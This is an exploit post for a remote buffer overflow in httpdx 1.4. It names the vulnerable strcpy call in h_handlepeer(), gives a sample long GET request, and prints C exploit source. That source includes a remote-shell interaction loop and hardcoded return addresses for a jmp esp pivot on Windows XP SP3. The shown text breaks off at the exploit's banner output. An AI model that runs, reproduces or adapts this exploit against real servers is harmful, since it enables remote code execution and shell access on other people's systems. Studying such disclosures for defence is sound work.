httpdx web server 1.4 is vulnerable to a remote buffer overflow using long GET requests such as http://www.example.com/aaa=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...
The vulnerability lies in httpdx_src/http.cpp in h_handlepeer() : strcpy(index,client->filereq);
Other versions may also be vulnerable.
Exploit (0day) (Tested with httpdx 1.4 on WinXP SP3)
/* ripped from TESO code */
void shell (int sock)
{
int l;
char buf[512];
fd_set rfds;
while (1) {
FD_SET (0, &rfds);
FD_SET (sock, &rfds);
select (sock + 1, &rfds, NULL, NULL, NULL);
if (FD_ISSET (0, &rfds)) {
l = read (0, buf, sizeof (buf));
if (l <= 0) {
printf("\n - Connection closed by local user\n");
exit (EXIT_FAILURE);
}
write (sock, buf, l);
}
if (FD_ISSET (sock, &rfds)) {
l = read (sock, buf, sizeof (buf));
if (l == 0) {
printf ("\n - Connection closed by remote host.\n");
exit (EXIT_FAILURE);
} else if (l < 0) {
printf ("\n - Read failure\n");
exit (EXIT_FAILURE);
}
write (1, buf, l);
}
}
}
int main(int argc, char **argv)
{
char buff[1100];
long ret1 = 0x64f8134b; // pop ret (core.dll)
long addr = 0x63b8624f; // Required to reach ret instruction
long ret2 = 0x7c874413; // jmp esp (kernel32.dll)
long *ptr;
struct sockaddr_in target;
int i, port, sock;
printf("\n---------------------------------------------------------------------\n");
printf(" [*] httpdx 1.4 GET Request Remote Buffer Overflow Exploit (0day) \n");
printf(" [*] Written and discovered by Pankaj Kohli <http://www.pank4j.com> \n");
printf(" [*] Tested with httpdx 1.4 on Windows XP SP3 \n\n");